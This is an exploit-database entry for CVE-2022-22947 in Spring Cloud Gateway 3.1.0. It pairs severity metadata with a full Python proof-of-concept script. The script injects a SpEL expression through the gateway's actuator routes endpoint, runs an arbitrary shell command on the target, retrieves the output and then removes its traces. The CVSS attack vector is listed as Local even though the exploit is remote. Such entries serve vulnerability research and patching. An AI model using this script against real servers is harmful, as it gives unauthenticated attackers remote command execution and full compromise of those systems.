Exploitalert - Database of Exploits

Spring Cloud Gateway 3.1.0 Remote Code Execution

CVE	Category	Price	Severity
CVE-2022-22947	CWE-94	Not specified	Critical

Author	Risk	Exploitation Type	Date
Unknown	High	Remote	2022-03-12

CPE
cpe:cpe:/a:pivotal_software:spring_cloud_gateway:3.1.0

CVSS	EPSS	EPSSP
CVSS:4.0/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H	0.02192	0.50148

CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Local	AV	The vulnerable system is not bound to the network stack and the attacker’s path is via read/write/execute capabilities. Either: the attacker exploits the vulnerability by accessing the target system locally (e.g., keyboard, console), or through terminal emulation (e.g., SSH); or the attacker relies on User Interaction by another person to perform actions required to exploit the vulnerability (e.g., using social engineering techniques to trick a legitimate user into opening a malicious document).
Attack Complexity	Low	AC	The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required	None	PR	The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction	None	UI	The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope	Unchanged	S	An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality	High	C	There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity	High	I	There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability	High	A	There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.

https://cxsecurity.com/ascii/WLB-2022030035

Spring Cloud Gateway 3.1.0 Remote Code Execution

# Exploit Title: Spring Cloud Gateway 3.1.0 - Remote Code Execution (RCE) # Google Dork: N/A # Date: 03/03/2022 # Exploit Author: Carlos E. Vieira # Vendor Homepage: https://spring.io/ # Software Link: https://spring.io/projects/spring-cloud-gateway # Version: This vulnerability affect Spring Cloud Gateway < 3.0.7 & < 3.1.1 # Tested on: 3.1.0 # CVE : CVE-2022-22947 import random import string import requests import json import sys import urllib.parse import base64 headers = { "Content-Type": "application/json" , 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36','Accept' : '*/*'} proxies = { 'http': 'http://172.29.32.1:8081', 'https': 'http://172.29.32.1:8081', } id = ''.join(random.choice(string.ascii_lowercase) for i in range(8)) def exploit(url, command): payload = { "id": id, "filters": [{ "name": "AddResponseHeader", "args": { "name": "Result", "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(\u0022"+command+"\u0022).getInputStream()))}"}}],"uri": "http://example.com"} commandb64 =base64.b64encode(command.encode('utf-8')).decode('utf-8') rbase = requests.post(url + '/actuator/gateway/routes/'+id, headers=headers, data=json.dumps(payload), proxies=proxies, verify=False) if(rbase.status_code == 201): print("[+] Stage deployed to /actuator/gateway/routes/"+id) print("[+] Executing command...") r = requests.post(url + '/actuator/gateway/refresh', headers=headers, proxies=proxies, verify=False) if(r.status_code == 200): print("[+] getting result...") r = requests.get(url + '/actuator/gateway/routes/' + id, headers=headers, proxies=proxies, verify=False) if(r.status_code == 200): get_response = r.json() clean(url, id) return get_response['filters'][0].split("'")[1] else: print("[-] Error: Invalid response") clean(url, id) exit(1) else: clean(url, id) print("[-] Error executing command") def clean(url, id): remove = requests.delete(url + '/actuator/gateway/routes/' + id, headers=headers, proxies=proxies, verify=False) if(remove.status_code == 200): print("[+] Stage removed!") else: print("[-] Error: Fail to remove stage") def banner(): print(""" ################################################### # # # Exploit for CVE-2022-22947 # # - Carlos Vieira (Crowsec) # # # # Usage: # # python3 exploit.py <url> <command> # # # # Example: # # python3 exploit.py http://localhost:8080 'id' # # # ################################################### """) def main(): banner() if len(sys.argv) != 3: print("[-] Error: Invalid arguments") print("[-] Usage: python3 exploit.py <url> <command>") exit(1) else: url = sys.argv[1] command = sys.argv[2] print(exploit(url, command)) if __name__ == '__main__': main()

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